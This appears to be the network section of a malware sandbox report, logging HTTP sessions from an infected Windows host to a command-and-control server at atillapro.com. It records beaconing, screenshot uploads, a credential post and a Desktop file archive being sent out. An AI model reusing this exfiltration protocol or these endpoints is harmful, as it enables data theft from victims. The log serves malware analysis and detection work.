r=7A5EDE44779AFB8FC9AA3CD047B527261BA1890A90C8797672304D69B7042B594F5D66026B09FFC499955463672E748EA3B543D2A6D18B6861C9C5A445BF3DCF3F41BCB1C39044E1CEA2CE92
Apr 9, 2024 14:54:07.532819986 CEST	153	IN	HTTP/1.1 200 OK Date: Tue, 09 Apr 2024 12:54:07 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 6 Content-Type: text/html; charset=UTF-8 Data Raw: 3c 63 3e 3c 64 3e Data Ascii: <c><d>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.4	49744	185.196.8.137	80	4336	C:\Users\user\AppData\Local\Temp\bb8ef99577\Utsysc.exe

Timestamp	Bytes transferred	Direction	Data
Apr 9, 2024 14:54:06.990354061 CEST	157	OUT	POST /vsdjcn3khS/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: atillapro.com Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 9, 2024 14:54:07.167635918 CEST	148	IN	HTTP/1.1 200 OK Date: Tue, 09 Apr 2024 12:54:07 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 1 Content-Type: text/html; charset=UTF-8 Data Raw: 33 Data Ascii: 3
Apr 9, 2024 14:54:07.168184042 CEST	173	OUT	POST /vsdjcn3khS/index.php?scr=1 HTTP/1.1 Content-Type: multipart/form-data; boundary=----MTA0MDMz Host: atillapro.com Content-Length: 104185 Cache-Control: no-cache
Apr 9, 2024 14:54:07.168215036 CEST	132	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 4d 54 41 30 4d 44 4d 7a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 61 74 61 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 32 34 36 31 32 32 36 35 38 33 36 Data Ascii: ------MTA0MDMzContent-Disposition: form-data; name="data"; filename="246122658369.jpg"Content-Type: application/octet-stream
Apr 9, 2024 14:54:07.168277979 CEST	6	OUT	Data Raw: ff d8 ff e0 Data Ascii:
Apr 9, 2024 14:54:07.168297052 CEST	6	OUT	Data Raw: 00 10 4a 46 Data Ascii: JF
Apr 9, 2024 14:54:07.168318987 CEST	6	OUT	Data Raw: 49 46 00 01 Data Ascii: IF
Apr 9, 2024 14:54:07.168342113 CEST	6	OUT	Data Raw: 01 01 00 60 Data Ascii: `
Apr 9, 2024 14:54:07.168365002 CEST	6	OUT	Data Raw: 00 60 00 00 Data Ascii: `
Apr 9, 2024 14:54:07.168385029 CEST	6	OUT	Data Raw: ff db 00 43 Data Ascii: C
Apr 9, 2024 14:54:07.168410063 CEST	6	OUT	Data Raw: 00 08 06 06 Data Ascii:
Apr 9, 2024 14:54:07.168426037 CEST	6	OUT	Data Raw: 07 06 05 08 Data Ascii:
Apr 9, 2024 14:54:07.168457985 CEST	6	OUT	Data Raw: 07 07 07 09 Data Ascii:
Apr 9, 2024 14:54:11.042804003 CEST	147	IN	HTTP/1.1 200 OK Date: Tue, 09 Apr 2024 12:54:07 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.4	49745	185.196.8.137	80	4336	C:\Users\user\AppData\Local\Temp\bb8ef99577\Utsysc.exe

Timestamp	Bytes transferred	Direction	Data
Apr 9, 2024 14:54:09.815521002 CEST	157	OUT	POST /vsdjcn3khS/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: atillapro.com Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 9, 2024 14:54:09.995294094 CEST	148	IN	HTTP/1.1 200 OK Date: Tue, 09 Apr 2024 12:54:09 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 1 Content-Type: text/html; charset=UTF-8 Data Raw: 33 Data Ascii: 3
Apr 9, 2024 14:54:10.036609888 CEST	309	OUT	POST /vsdjcn3khS/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: atillapro.com Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 37 41 35 45 44 45 34 34 37 37 39 41 46 42 38 46 43 39 41 41 33 43 44 30 34 37 42 35 32 37 32 36 31 42 41 31 38 39 30 41 39 30 43 38 37 39 37 36 37 32 33 30 34 44 36 39 42 37 30 34 32 42 35 39 34 46 35 44 36 36 30 32 36 42 30 39 46 46 43 34 39 39 39 35 35 34 36 33 36 37 32 45 37 34 38 45 41 33 42 35 34 33 44 32 41 36 44 31 38 42 36 38 36 31 43 39 43 35 41 34 34 35 42 46 33 44 43 46 33 46 34 31 42 43 42 31 43 33 39 30 34 34 45 31 43 45 41 32 43 45 39 32 Data Ascii: r=7A5EDE44779AFB8FC9AA3CD047B527261BA1890A90C8797672304D69B7042B594F5D66026B09FFC499955463672E748EA3B543D2A6D18B6861C9C5A445BF3DCF3F41BCB1C39044E1CEA2CE92
Apr 9, 2024 14:54:10.237729073 CEST	153	IN	HTTP/1.1 200 OK Date: Tue, 09 Apr 2024 12:54:10 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 6 Content-Type: text/html; charset=UTF-8 Data Raw: 3c 63 3e 3c 64 3e Data Ascii: <c><d>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.4	49746	185.196.8.137	80	4364	C:\Windows\SysWOW64\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Apr 9, 2024 14:54:10.577966928 CEST	268	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://atillapro.com/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 4431 Host: atillapro.com
Apr 9, 2024 14:54:10.577966928 CEST	4431	OUT	Data Raw: 0d 3c 87 f5 4d 3e 50 d5 70 1b c3 49 8c 51 7b bf 74 00 0f da 0d 5a fc 7f f2 cb f8 5c 4c 0c 29 ed c2 56 2d 55 91 cd ef 30 84 0e 11 61 b7 66 c7 90 8a 52 56 b0 00 55 60 c9 74 0d 18 85 ba 93 09 71 81 8e f4 d0 3f 51 bf 61 ba 1f 29 d0 8c 3c a9 79 77 7e Data Ascii: <M>PpIQ{tZ\L)V-U0afRVU`tq?Qa)<yw~\y~hW\|<T1#UMjo;(s[*hLaT@0,B/tm+~JszhPX/\|{.B[d"y:$'!$ZQ4`a{+>vB65>fUb2w
Apr 9, 2024 14:54:10.777957916 CEST	613	IN	HTTP/1.1 404 Not Found Date: Tue, 09 Apr 2024 12:54:10 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 401 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=utf-8 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 34 31 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 61 74 69 6c 6c 61 70 72 6f 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.41 (Ubuntu) Server at atillapro.com Port 80</address></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.4	49747	185.196.8.137	80	5160	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Apr 9, 2024 14:54:10.655808926 CEST	158	OUT	POST /vsdjcn3khS/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: atillapro.com Content-Length: 5 Cache-Control: no-cache Data Raw: 77 6c 74 3d 31 Data Ascii: wlt=1
Apr 9, 2024 14:54:10.833532095 CEST	717	IN	HTTP/1.1 200 OK Date: Tue, 09 Apr 2024 12:54:10 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 545 Content-Type: text/html; charset=UTF-8 Data Raw: 2b 2b 2b 5f 31 5f 37 31 35 39 64 35 30 37 32 35 64 65 62 38 38 38 63 65 66 66 36 65 39 64 31 65 66 35 37 34 32 33 30 66 66 66 63 65 34 38 63 62 38 65 33 39 32 36 32 34 36 32 34 61 36 65 65 31 30 38 36 36 35 62 34 35 30 31 32 33 31 30 33 31 35 38 62 64 64 31 38 66 63 34 2d 31 2d 5f 32 5f 32 33 34 32 61 37 31 35 32 36 39 64 66 61 38 65 63 61 66 64 36 62 38 39 34 36 63 30 37 66 36 38 35 63 64 38 38 34 31 30 39 33 39 66 33 33 37 37 37 63 34 31 31 32 36 63 65 36 35 33 32 38 30 32 30 64 35 31 36 33 35 37 33 33 37 30 66 66 39 31 64 38 39 65 2d 32 2d 5f 33 5f 37 66 34 65 38 37 34 37 33 32 64 65 62 64 38 61 39 35 66 37 37 66 38 64 31 61 65 30 32 37 33 62 30 39 66 61 38 66 34 63 63 32 63 38 37 33 37 31 37 66 33 30 34 63 36 30 62 66 34 34 37 39 34 37 35 64 35 34 33 34 35 32 36 35 34 33 62 61 39 32 38 36 63 63 30 30 2d 33 2d 5f 34 5f 35 37 37 38 62 34 30 34 31 37 64 38 39 30 65 62 61 32 61 34 37 61 61 63 33 63 65 62 32 62 33 34 35 30 66 35 63 62 31 63 66 33 63 39 34 36 37 39 32 31 36 64 37 32 33 37 39 37 36 38 32 34 30 32 37 30 33 32 2d 34 2d 5f 35 5f 32 37 30 63 61 35 30 31 32 32 63 36 66 33 66 31 38 61 64 61 34 62 62 32 34 64 63 66 36 63 36 37 30 64 66 63 65 63 37 32 64 31 38 66 33 39 36 35 37 31 34 30 34 64 36 62 38 65 34 38 32 61 34 66 35 37 30 30 31 61 32 65 36 30 36 39 61 64 64 64 38 38 63 39 30 65 34 33 34 33 35 63 33 61 64 37 64 36 65 64 33 33 64 38 65 32 66 37 66 63 33 37 36 61 63 36 63 31 38 65 35 39 39 65 34 33 65 38 30 35 34 39 63 30 62 34 65 32 62 65 30 36 38 30 39 36 61 62 62 37 65 66 33 32 61 34 30 63 65 32 37 33 31 64 33 61 32 65 31 30 34 33 62 61 30 31 32 61 37 36 61 33 35 37 33 62 62 35 32 33 2d 35 2d Data Ascii: +++_1_7159d50725deb888ceff6e9d1ef574230fffce48cb8e392624624a6ee108665b450123103158bdd18fc4-1-_2_2342a715269dfa8ecafd6b8946c07f685cd88410939f33777c41126ce65328020d5163573370ff91d89e-2-_3_7f4e874732debd8a95f77f8d1ae0273b09fa8f4cc2c873717f304c60bf4479475d5434526543ba9286cc00-3-_4_5778b40417d890eba2a47aac3ceb2b3450f5cb1cf3c94679216d7237976824027032-4-_5_270ca50122c6f3f18ada4bb24dcf6c670dfcec72d18f396571404d6b8e482a4f57001a2e6069addd88c90e43435c3ad7d6ed33d8e2f7fc376ac6c18e599e43e80549c0b4e2be068096abb7ef32a40ce2731d3a2e1043ba012a76a3573bb523-5-

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.4	49748	185.196.8.137	80	4336	C:\Users\user\AppData\Local\Temp\bb8ef99577\Utsysc.exe

Timestamp	Bytes transferred	Direction	Data
Apr 9, 2024 14:54:10.704772949 CEST	157	OUT	POST /vsdjcn3khS/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: atillapro.com Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 9, 2024 14:54:10.882085085 CEST	148	IN	HTTP/1.1 200 OK Date: Tue, 09 Apr 2024 12:54:10 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 1 Content-Type: text/html; charset=UTF-8 Data Raw: 33 Data Ascii: 3
Apr 9, 2024 14:54:10.883136988 CEST	309	OUT	POST /vsdjcn3khS/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: atillapro.com Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 37 41 35 45 44 45 34 34 37 37 39 41 46 42 38 46 43 39 41 41 33 43 44 30 34 37 42 35 32 37 32 36 31 42 41 31 38 39 30 41 39 30 43 38 37 39 37 36 37 32 33 30 34 44 36 39 42 37 30 34 32 42 35 39 34 46 35 44 36 36 30 32 36 42 30 39 46 46 43 34 39 39 39 35 35 34 36 33 36 37 32 45 37 34 38 45 41 33 42 35 34 33 44 32 41 36 44 31 38 42 36 38 36 31 43 39 43 35 41 34 34 35 42 46 33 44 43 46 33 46 34 31 42 43 42 31 43 33 39 30 34 34 45 31 43 45 41 32 43 45 39 32 Data Ascii: r=7A5EDE44779AFB8FC9AA3CD047B527261BA1890A90C8797672304D69B7042B594F5D66026B09FFC499955463672E748EA3B543D2A6D18B6861C9C5A445BF3DCF3F41BCB1C39044E1CEA2CE92
Apr 9, 2024 14:54:11.064467907 CEST	153	IN	HTTP/1.1 200 OK Date: Tue, 09 Apr 2024 12:54:10 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 6 Content-Type: text/html; charset=UTF-8 Data Raw: 3c 63 3e 3c 64 3e Data Ascii: <c><d>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.4	49749	185.196.8.137	80	6216	C:\Windows\System32\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Apr 9, 2024 14:54:10.942322969 CEST	175	OUT	POST /vsdjcn3khS/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: atillapro.com Content-Length: 21 Cache-Control: no-cache Data Raw: 69 64 3d 32 34 36 31 32 32 36 35 38 33 36 39 26 63 72 65 64 3d Data Ascii: id=246122658369&cred=
Apr 9, 2024 14:54:11.119726896 CEST	176	IN	HTTP/1.1 200 OK Date: Tue, 09 Apr 2024 12:54:11 GMT Server: Apache/2.4.41 (Ubuntu) Refresh: 0; url = Login.php Content-Length: 0 Content-Type: text/html; charset=UTF-8
Apr 9, 2024 14:54:12.672267914 CEST	172	OUT	POST /vsdjcn3khS/index.php?wal=1 HTTP/1.1 Content-Type: multipart/form-data; boundary=----MTc0MDg= Host: atillapro.com Content-Length: 17568 Cache-Control: no-cache
Apr 9, 2024 14:54:12.672267914 CEST	140	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 4d 54 63 30 4d 44 67 3d 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 61 74 61 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 32 34 36 31 32 32 36 35 38 33 36 Data Ascii: ------MTc0MDg=Content-Disposition: form-data; name="data"; filename="246122658369_Desktop.tar"Content-Type: application/octet-stream
Apr 9, 2024 14:54:12.672267914 CEST	8	OUT	Data Raw: 55 73 65 72 73 2f 6a 6f Data Ascii: Users/jo
Apr 9, 2024 14:54:12.672267914 CEST	8	OUT	Data Raw: 6e 65 73 2f 41 70 70 44 Data Ascii: nes/AppD
Apr 9, 2024 14:54:12.672367096 CEST	8	OUT	Data Raw: 61 74 61 2f 4c 6f 63 61 Data Ascii: ata/Loca
Apr 9, 2024 14:54:12.672367096 CEST	8	OUT	Data Raw: 6c 2f 54 65 6d 70 2f 5f Data Ascii: l/Temp/_
Apr 9, 2024 14:54:12.672367096 CEST	8	OUT	Data Raw: 46 69 6c 65 73 5f 2f 44 Data Ascii: Files_/D
Apr 9, 2024 14:54:12.672367096 CEST	8	OUT	Data Raw: 56 57 48 4b 4d 4e 46 4e Data Ascii: VWHKMNFN
Apr 9, 2024 14:54:12.672401905 CEST	8	OUT	Data Raw: 4e 2e 64 6f 63 78 00 00 Data Ascii: N.docx
Apr 9, 2024 14:54:12.672401905 CEST	8	OUT	Data Raw: 00 00 00 00 00 00 00 00 Data Ascii:
Apr 9, 2024 14:54:12.672401905 CEST	8	OUT	Data Raw: 00 00 00 00 00 00 00 00 Data Ascii:
Apr 9, 2024 14:54:13.256078005 CEST	147	IN	HTTP/1.1 200 OK Date: Tue, 09 Apr 2024 12:54:12 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.4	49750	185.196.8.137	80	4336	C:\Users\user\AppData\Local\Temp\bb8ef99577\Utsysc.exe

Timestamp	Bytes transferred	Direction	Data
Apr 9, 2024 14:54:11.448033094 CEST	157	OUT	POST /vsdjcn3khS/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: atillapro.com Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 9, 2024 14:54:11.625581980 CEST	148	IN	HTTP/1.1 200 OK Date: Tue, 09 Apr 2024 12:54:11 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 1 Content-Type: text/html; charset=UTF-8 Data Raw: 33 Data Ascii: 3
Apr 9, 2024 14:54:11.626601934 CEST	309	OUT	POST /vsdjcn3khS/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: atillapro.com Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 37 41 35 45 44 45 34 34 37 37 39 41 46 42 38 46 43 39 41 41 33 43 44 30 34 37 42 35 32 37 32 36 31 42 41 31 38 39 30 41 39 30 43 38 37 39 37 36 37 32 33 30 34 44 36 39 42 37 30 34 32 42 35 39 34 46 35 44 36 36 30 32 36 42 30 39 46 46 43 34 39 39 39 35 35 34 36 33 36 37 32 45 37 34 38 45 41 33 42 35 34 33 44 32 41 36 44 31 38 42 36 38 36 31 43 39 43 35 41 34 34 35 42 46 33 44 43 46 33 46 34 31 42 43 42 31 43 33 39 30 34 34 45 31 43 45 41 32 43 45 39 32 Data Ascii: r=7A5EDE44779AFB8FC9AA3CD047B527261BA1890A90C8797672304D69B7042B594F5D66026B09FFC499955463672E748EA3B543D2A6D18B6861C9C5A445BF3DCF3F41BCB1C39044E1CEA2CE92
Apr 9, 2024 14:54:11.819324017 CEST	153	IN	HTTP/1.1 200 OK Date: Tue, 09 Apr 2024 12:54:11 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 6 Content-Type: text/html; charset=UTF-8 Data Raw: 3c 63 3e 3c 64 3e Data Ascii: <c><d>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.4	49751	185.196.8.137	80	4336	C:\Users\user\AppData\Local\Temp\bb8ef99577\Utsysc.exe

Timestamp	Bytes transferred	Direction	Data
Apr 9, 2024 14:54:11.625072956 CEST	172	OUT	POST /vsdjcn3khS/index.php?scr=1 HTTP/1.1 Content-Type: multipart/form-data; boundary=----OTc5NzE= Host: atillapro.com Content-Length: 98123 Cache-Control: no-cache
Apr 9, 2024 14:54:11.625132084 CEST	132	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 4f 54 63 35 4e 7a 45 3d 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 61 74 61 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 32 34 36 31 32 32 36 35 38 33 36 Data Ascii: ------OTc5NzE=Content-Disposition: form-data; name="data"; filename="246122658369.jpg"Content-Type: application/octet-stream
Apr 9, 2024 14:54:11.625181913 CEST	6	OUT	Data Raw: ff d8 ff e0 Data Ascii:
Apr 9, 2024 14:54:11.625215054 CEST	6	OUT	Data Raw: 00 10 4a 46 Data Ascii: JF
Apr 9, 2024 14:54:11.625250101 CEST	6	OUT	Data Raw: 49 46 00 01 Data Ascii: IF
Apr 9, 2024 14:54:11.625250101 CEST	6	OUT	Data Raw: 01 01 00 60 Data Ascii: `
Apr 9, 2024 14:54:11.625282049 CEST	6	OUT	Data Raw: 00 60 00 00 Data Ascii: `
Apr 9, 2024 14:54:11.625299931 CEST	6	OUT	Data Raw: ff db 00 43 Data Ascii: C
Apr 9, 2024 14:54:11.625322104 CEST	6	OUT	Data Raw: 00 08 06 06 Data Ascii:
Apr 9, 2024 14:54:11.625349045 CEST	6	OUT	Data Raw: 07 06 05 08 Data Ascii:
Apr 9, 2024 14:54:11.625382900 CEST	6	OUT	Data Raw: 07 07 07 09 Data Ascii:
Apr 9, 2024 14:54:13.479634047 CEST	147	IN	HTTP/1.1 200 OK Date: Tue, 09 Apr 2024 12:54:11 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.4	49752	185.196.8.137	80	4336	C:\Users\user\AppData\Local\Temp\bb8ef99577\Utsysc.exe

Timestamp	Bytes transferred	Direction	Data
Apr 9, 2024 14:54:12.264585018 CEST	157	OUT	POST /vsdjcn3khS/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: atillapro.com Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 9, 2024 14:54:12.455287933 CEST	148	IN	HTTP/1.1 200 OK Date: Tue, 09 Apr 2024 12:54:12 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 1 Content-Type: text/html; charset=UTF-8 Data Raw: 33 Data Ascii: 3
Apr 9, 2024 14:54:12.592088938 CEST	309	OUT	POST /vsdjcn3khS/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: atillapro.com Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 37 41 35 45 44 45 34 34 37 37 39 41 46 42 38 46 43 39 41 41 33 43 44 30 34 37 42 35 32 37 32 36 31 42 41 31 38 39 30 41 39 30 43 38 37 39 37 36 37 32 33 30 34 44 36 39 42 37 30 34 32 42 35 39 34 46 35 44 36 36 30 32 36 42 30 39 46 46 43 34 39 39 39 35 35 34 36 33 36 37 32 45 37 34 38 45 41 33 42 35 34 33 44 32 41 36 44 31 38 42 36 38 36 31 43 39 43 35 41 34 34 35 42 46 33 44 43 46 33 46 34 31 42 43 42 31 43 33 39 30 34 34 45 31 43 45 41 32 43 45 39 32 Data Ascii: r=7A5EDE44779AFB8FC9AA3CD047B527261BA1890A90C8797672304D69B7042B594F5D66026B09FFC499955463672E748EA3B543D2A6D18B6861C9C5A445BF3DCF3F41BCB1C39044E1CEA2CE92
Apr 9, 2024 14:54:12.822566986 CEST	153	IN	HTTP/1.1 200 OK Date: Tue, 09 Apr 2024 12:54:12 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 6 Content-Type: text/html; charset=UTF-8 Data Raw: 3c 63 3e 3c 64 3e Data Ascii: <c><d>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.4	49753	185.196.8.137	80	4336	C:\Users\user\AppData\Local\Temp\bb8ef99577\Utsysc.exe

Timestamp	Bytes transferred	Direction	Data
Apr 9, 2024 14:54:13.304176092 CEST	157	OUT	POST /vsdjcn3khS/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: atillapro.com Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 9, 2024 14:54:13.481462002 CEST	148	IN	HTTP/1.1 200 OK Date: Tue, 09 Apr 2024 12:54:13 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 1 Content-Type: text/html; charset=UTF-8 Data Raw: 33 Data Ascii: 3
Apr 9, 2024 14:54:13.485497952 CEST	309	OUT	POST /vsdjcn3khS/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: atillapro.com Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 37 41 35 45 44 45 34 34 37 37 39 41 46 42 38 46 43 39 41 41 33 43 44 30 34 37 42 35 32 37 32 36 31 42 41 31 38 39 30 41 39 30 43 38 37 39 37 36 37 32 33 30 34 44 36 39 42 37 30 34 32 42 35 39 34 46 35 44 36 36 30 32 36 42 30 39 46 46 43 34 39 39 39 35 35 34 36 33 36 37 32 45 37 34 38 45 41 33 42 35 34 33 44 32 41 36 44 31 38 42 36 38 36 31 43 39 43 35 41 34 34 35 42 46 33 44 43 46 33 46 34 31 42 43 42 31 43 33 39 30 34 34 45 31 43 45 41 32 43 45 39 32 Data Ascii: r=7A5EDE44779AFB8FC9AA3CD047B527261BA1890A90C8797672304D69B7042B594F5D66026B09FFC499955463672E748EA3B543D2A6D18B6861C9C5A445BF3DCF3F41BCB1C39044E1CEA2CE92
Apr 9, 2024 14:54:13.676275969 CEST	153	IN	HTTP/1.1 200 OK Date: Tue, 09 Apr 2024 12:54:13 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 6 Content-Type: text/html; charset=UTF-8 Data Raw: 3c 63 3e 3c 64 3e Data Ascii: <c><d>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.4	49754	185.196.8.137	80	4336	C:\Users\user\AppData\Local\Temp\bb8ef99577\Utsysc.exe

Timestamp	Bytes transferred	Direction	Data
Apr 9, 2024 14:54:13.961030006 CEST	157	OUT	POST /vsdjcn3khS/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: atillapro.com Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 9, 2024 14:54:14.139008999 CEST	148	IN	HTTP/1.1 200 OK Date: Tue, 09 Apr 2024 12:54:14 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 1 Content-Type: text/html; charset=UTF-8 Data Raw: 33 Data Ascii: 3
Apr 9, 2024 14:54:14.145195007 CEST	309	OUT	POST /vsdjcn3khS/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: atillapro.com Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 37 41 35 45 44 45 34 34 37 37 39 41 46 42 38 46 43 39 41 41 33 43 44 30 34 37 42 35 32 37 32 36 31 42 41 31 38 39 30 41 39 30 43 38 37 39 37 36 37 32 33 30 34 44 36 39 42 37 30 34 32 42 35 39 34 46 35 44 36 36 30 32 36 42 30 39 46 46 43 34 39 39 39 35 35 34 36 33 36 37 32 45 37 34 38 45 41 33 42 35 34 33 44 32 41 36 44 31 38 42 36 38 36 31 43 39 43 35 41 34 34 35 42 46 33 44 43 46 33 46 34 31 42 43 42 31 43 33 39 30 34 34 45 31 43 45 41 32 43 45 39 32 Data Ascii: r=7A5EDE44779AFB8FC9AA3CD047B527261BA1890A90C8797672304D69B7042B594F5D66026B09FFC499955463672E748EA3B543D2A6D18B6861C9C5A445BF3DCF3F41BCB1C39044E1CEA2CE92
Apr 9, 2024 14:54:14.342745066 CEST	153	IN	HTTP/1.1 200 OK Date: Tue, 09 Apr 2024 12:54:14 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 6 Content-Type: text/html; charset=UTF-8 Data Raw: 3c 63 3e 3c 64 3e Data Ascii: <c><d>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.4	49755	185.196.8.137	80	4336	C:\Users\user\AppData\Local\Temp\bb8ef99577\Utsysc.exe

Timestamp	Bytes transferred	Direction	Data
Apr 9, 2024 14:54:14.059258938 CEST	172	OUT	POST /vsdjcn3khS/index.php?scr=1 HTTP/1.1 Content-Type: multipart/form-data; boundary=----OTc5NzE= Host: atillapro.com Content-Length: 98123 Cache-Control: no-cache
Apr 9, 2024 14:54:14.059258938 CEST	132	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 4f 54 63 35 4e 7a 45 3d 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 61 74 61 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 32 34 36 31 32 32 36 35 38 33 36 Data Ascii: ------OTc5NzE=Content-Disposition: form-data; name="data"; filename="246122658369.jpg"Content-Type: application/octet-stream
